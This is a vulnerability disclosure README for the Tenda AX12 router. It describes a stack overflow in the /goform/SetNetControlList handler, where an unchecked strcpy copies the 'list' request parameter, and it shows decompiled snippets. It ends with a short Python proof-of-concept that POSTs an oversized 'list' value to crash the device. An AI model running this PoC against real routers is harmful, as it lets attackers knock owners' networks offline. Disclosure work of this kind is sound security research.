sec-bin Update poc ... on Feb 9 History

..	
image	10 months ago
README.md	10 months ago
README_zh.md	10 months ago

README.md

Affect device: Tenda-AX12 V22.03.01.21_CN(https://www.tenda.com.cn/download/detail-3237.html)

Vulnerability Type: Stack overflow

Impact: Denial of Service(DoS)

Vulnerability description

This vulnerability lies in the `/goform/SetNetControlList` page which influences the lastest version of Tenda-AX12 V22.03.01.21_CN(https://www.tenda.com.cn/download/detail-3237.html)

There is a stack overflow vulnerability in the `sub_4327CC` function.

The `v2` variable is obtained directly from the http request parameter `list` .

And then it calls the `sub_4325BC` function.

```
 7  memset(v5, 0, sizeof(v5));
 8  v2 = WebGetVar((int)a1, (int)"list", "");
 9  sub_4325BC((int)v2, '\n');
10  signal(18, 1);
11  v3 = fork();
12  if ( !v3 )
13  {
14    set_tc_rule();
15    exit(0);
16  }
17  if ( v3 > 0 )
18  {
```

However, in the `sub_4325BC` function, it calls the strcpy function to a1 to v14 without any security check, which causes the stack overflow.

```
24  v12[0] = 0;
25  v12[1] = 0;
26  v12[2] = 0;
27  v12[3] = 0;
28  memset(v15, 0, sizeof(v15));
29  sub_43222C();
30  while ( 1 )
31  {
32    v4 = (_BYTE *)strchr(a1, a2);
33    if ( !v4 )
34      break;
35    *v4 = 0;
36    v5 = (int)(v4 + 1);
37    memset(v14, 0, sizeof(v14));
38    strcpy(v14, a1);
39    if ( v14[0] == 59 )
40    {
```

So by POSTing the page `/goform/SetNetControlList` with long `list`, the attacker can easily perform a Denial of Service(DoS).

POC

Poc of Denial of Service(DoS):

```
import requests
```

```
url = "http://192.168.0.1/goform/SetNetControlList"
list_data = 'a'*0x1000 + '\n'

r = requests.post(url, data={'list': list_data})
print(r.content)
```